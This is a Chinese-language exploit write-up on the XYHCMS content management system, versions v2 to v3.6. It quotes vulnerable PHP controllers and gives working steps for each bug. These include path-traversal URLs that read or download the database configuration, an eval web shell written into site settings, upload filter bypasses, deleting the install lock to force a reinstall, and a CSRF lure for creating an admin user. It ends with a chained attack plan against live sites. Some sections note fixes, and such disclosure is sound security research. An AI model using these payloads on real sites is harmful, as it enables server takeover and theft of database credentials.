涉及版本
- v3.5
- v3.6
- v2
任意文件读取(后台)
漏洞文件位置
/App/Manage/Controller/TempletsController.class.php 第59-83行:
漏洞原因
没有对传入的fname参数进行过滤
漏洞代码
1public function edit() {2$ftype = I('ftype', 0, 'intval');3$fname = I('fname', '', 'trim,htmlspecialchars');4$file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';5if (IS_POST) {6if (empty($fname)) {7$this->error('未指定文件名');8}9$_ext = '.' . pathinfo($fname, PATHINFO_EXTENSION);10$_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');11if ($_ext != $_cfg_ext) {12$this->error('文件后缀必须为"' . $_cfg_ext . '"');13}1415$content = I('content', '', '');16$fname = ltrim($fname, './');1718$truefile = $file_path . $fname;19if (false !== strpos($fname, '/') || false !== strpos($fname, '\\')) {20$this->error('文件名不允许包含非法字符,如\/');21}22//<script\s+language[\s=]+["\']*php["\']*[^>]*?\>.*?<\/script>23$preg_param = '/<script\s+language[\s=]+["\']*php["\']*[^>]*?\>/is';24if (stripos($content, '<?php') !== false || preg_match($preg_param, $content)) {25$this->error('模板内容禁止包含php代码!');26}2728if (false !== file_put_contents($truefile, $content)) {29$this->success('保存成功', U('index', array('ftype' => $ftype)));30} else {31$this->error('保存文件失败,请重试');32}3334exit();35}3637$fname = base64_decode($fname);38var_dump($fname);39//exit();40if (empty($fname)) {41$this->error('未指定要编辑的文件');42}4344$truefile = $file_path . $fname;4546if (!file_exists($truefile)) {47$this->error('文件不存在');48}49$content = file_get_contents($truefile);50if ($content === false) {51$this->error('读取文件失败');52}53$content = htmlspecialchars($content);5455$this->assign('ftype', $ftype);56$this->assign('fname', $fname);57$this->assign('content', $content);58$this->assign('type', '修改模板');59$this->display();6061}
漏洞利用
- 数据库配置文件路径:
\App\Common\Conf\db.php - 组成相对路径
..\\..\\..\\App\\Common\\Conf\\db.php - base64编码,
Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA== - 最后构造的链接形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
- 数据库配置文件路径:
实际利用
下载v3.5,发现代码已经做了过滤
1if (false !== strpos($fname, '/') || false !== strpos($fname, '\\')) {2$this->error('文件名不允许包含非法字符,如\/');3}
文件写入导致代码执行漏洞(后台)
漏洞文件位置
/App/Manage/Controller/SystemController.class.php漏洞原因
对写入文件的内容过滤不严
漏洞代码
1public function site() {2if (IS_POST) {34$data = I('config', array(), 'trim');5//<script\s+language[\s=]+["\']*php["\']*[^>]*?\>.*?<\/script>6$preg_param = '/<script\s+language[\s=]+["\']*php["\']*[^>]*?\>/is';7foreach ($data as $key => $val) {8if (stripos($val, '<?php') !== false) {9$data[$key] = preg_replace('/<\?php(.+?)\?>/i', '', $val);10}11————————————————————————————————————————————————————————————————————————————12if (stripos($val, '<script') !== false && stripos($val, 'php') !== false) {13$data[$key] = preg_replace('/<script\s+language[\s=]+["\']*php["\']*[^>]*?\>.*?<\/script>/i', '', $val);14}1516if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {17$this->error('禁止输入php代码');18}1920}21————————————————————————————————————————————————————————————————————————————漏洞利用
进入后台
系统设置->网站设置->会员配置->禁止使用的名称

1<?eval($_POST['cmd'])?>访问漏洞文件,蚁剑连接
http://localhost/App/Runtime/Data/config/site.phpPOST数据:
cmd=phpinfo();
实际利用
v3.6也存在
文件写入导致代码执行漏洞2(后台)
漏洞原因
过滤不严
漏洞利用
进入后台
系统设置->网站设置找个任意的配置
在输入框内都填
<?php phpinfo()?>访问漏洞文件
http://localhost/App/Runtime/Data/config/site.php此漏洞在最新版的v3.6也存在
实际利用
v3.5,v3.6都利用成功
文件上传漏洞(后台&配置了.htaccess)
漏洞文件位置
/App/Manage/Controller/SystemController.class.phpLine 246-255漏洞原因
对后缀过滤不严,未过滤php3-5,phtml(老版本直接未过滤php)
漏洞代码
在site方法中
1if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {2$data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);3$_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);4$_no_exts = array('php', 'asp', 'aspx', 'jsp');5foreach ($_file_exts as $ext) {6if (in_array($ext, $_no_exts)) {7$this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');8}9}10}漏洞利用
进入后台
系统设置->网站设置->上传配置->允许附件类型
添加类型
php3或php4或php5或phtml点击下面的
水印图片上传上传以上后缀shell,此时点不点提交都已经传入服务器之后会在图片部分显示上传路径

访问连接即可,只有网站配置了.htaccess自动解析php3-5与phtml的才能解析。
实际利用
上传成功,但是不解析shell
V3.6也存在此漏洞
默认不解析php3-5,除非遇到个别的站
文件上传漏洞2(后台&windows)
漏洞文件位置
/App/Manage/Controller/SystemController.class.php漏洞原因
windows系统特性,windows会将
::$DATA忽略漏洞代码
1if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {2$data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);3$_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);4$_no_exts = array('php', 'asp', 'aspx', 'jsp');5foreach ($_file_exts as $ext) {6if (in_array($ext, $_no_exts)) {7$this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');8}9}10}漏洞利用
- 进入后台
- 系统设置->网站设置->上传配置->允许附件类型
- 添加类型
shell.php::$DATA - 点击下面的
水印图片上传上传以上后缀shell,此时点不点提交都已经传入服务器 - 之后会在图片部分显示上传路径,在windows下面,会自动忽略后面的。
- 用蚁剑访问
http://domain/路径去掉::$DATA
任意文件删除漏洞(后台)
漏洞文件位置
/App/Manage/Controller/DatabaseController.class.php漏洞原因
路径过滤不严
漏洞代码
1//删除sql文件2public function delSqlFiles() {34$id = I('id', 0, 'intval');5$batchFlag = I('get.batchFlag', 0, 'intval');6//批量删除7if ($batchFlag) {8$files = I('key', array());9} else {10$files[] = I('sqlfilename', '');11}1213if (empty($files)) {14$this->error('请选择要删除的sql文件');15}16foreach ($files as $file) {17$_ext = pathinfo($file, PATHINFO_EXTENSION);18//拼接后直接删除1920foreach ($files as $file) {21unlink($this->getDbPath() . '/' . $file);22}23$this->success("已删除:" . implode(",", $files), U('Database/restore'));2425}删除的文件位置
1public function getDbPath() {2return './Data/resource/backupdata';3}
漏洞利用
登录后台
删除安装锁文件
get方式
http://domain/xyhai.php? s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\install/install.lockpost方式
http://domain/xyhai.php?s=/Database/delSqlFiles/batchFlag/1POST数据:
key[]=../../../install/install.lock
之后访问
http://domain/install重装cms
实际利用
在官网发布的v3.5版本已经做了过滤
1if (false !== strpos($file, '../') || false !== strpos($file, '..\\') || $_ext != 'sql') {2$this->error('删除失败:sql文件非法!');3}所以之后下载的没这个漏洞了,之前下载才有这个漏洞。
任意文件下载(后台)
漏洞文件位置
/App/Manage/Controller/DatabaseController.class.php的downfile()方法漏洞原因
没有对下载的文件做任何限制
漏洞代码
1public function downFile() {2if (empty($_GET['file']) || empty($_GET['type']) || !in_array($_GET['type'], array("zip", "sql"))) {3$this->error("下载地址不存在");4}5$path = array("zip" => $this->getDbPath() . "Zip/", "sql" => $this->getDbPath() . '/');6$filePath = $path[$_GET['type']] . $_GET['file'];7if (!file_exists($filePath)) {8$this->error("该文件不存在,可能是被删除");9}10$filename = basename($filePath);11header("Content-type: application/octet-stream");12header('Content-Disposition: attachment; filename="' . $filename . '"');13header("Content-Length: " . filesize($filePath));14readfile($filePath);15}漏洞利用
- 登录后台
- 访问
http://domain/xyhai.php?s=/Database/downFile/file/..\\..\\..\\App\\Common\\Conf\\db.php/type/zip - 下载到数据库配置文件
实际利用
在v3.5版本中,
/App/Manage/Controller/DatabaseController.class.php文件的最后更改时间为2019/9/16,洞被补上了,downfile方法直接被删除了。
CSRF漏洞
漏洞文件位置
App/Manager/Controller/AuthController.class.php漏洞原因
验证不严,在别人报送漏洞后,虽然加了一个验证,但是可以绕过。
漏洞代码
`public function addUser() {
if (IS_POST) { //用户组 $group_id = I('group_id', array()); $department = I('department', array()); $_furl = $_SERVER['HTTP_REFERER']; $_turl = '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; //HTTP_HOST有端口会带端口 //在这里验证了refere头,但是可以referre可由我们控制 if (stripos($_furl, $_turl) === false) { $this->error('非法请求!'); } if (empty($department)) { $this->error('请选择部门'); } if (empty($group_id)) { $this->error('请选择职位'); } //M验证 $validate = array( array('username', 'require', '用户名不能为空!'), array('password', 'require', '密码不能为空!'), array('password', '5,20', '密码必须在5到20位之间', 0, 'length'), array('username', '', '用户名已经存在!', 0, 'unique', 1), ); $data = M('Admin'); if (!$data->validate($validate)->create()) { $this->error($data->getError()); } $password = get_password($data->password); $data->password = $password['password']; $data->encrypt = $password['encrypt']; $data->status = I('status', 0, 'intval'); $data->department = implode(',', $department); $data->login_time = date('Y-m-d H:i:s'); $data->login_ip = ''; if ($id = $data->add()) { $group_data = array(); foreach ($group_id as $key => $val) { $group_data[] = array('uid' => $id, 'group_id' => $val); } $result = M('AuthGroupAccess')->addAll($group_data); if ($result) { $this->success('添加成功', U('indexOfUser')); } else { $this->error('权限设置失败|用户添加成功'); } } else { $this->error('添加失败'); } exit(); }
漏洞利用
- 在自己服务器构造html代码,要绕过referer,以前写过类似的文章
- 生成短链接
- 到网站留言,等鱼儿上钩。
- 等添加后登录即可
实际利用
v2 ,v3.6也存在
v2版本url
http://domain/index.php?g=Manage&m=Rbac&a=addUser
综合利用
先尝试弱口令
再尝试csrf拿到管理员权限
拿到后台随便搞
心中默念安全法
坑
经过几个网站测试,发现后台xyhai.php文件可能会被改,可以尝试admin.php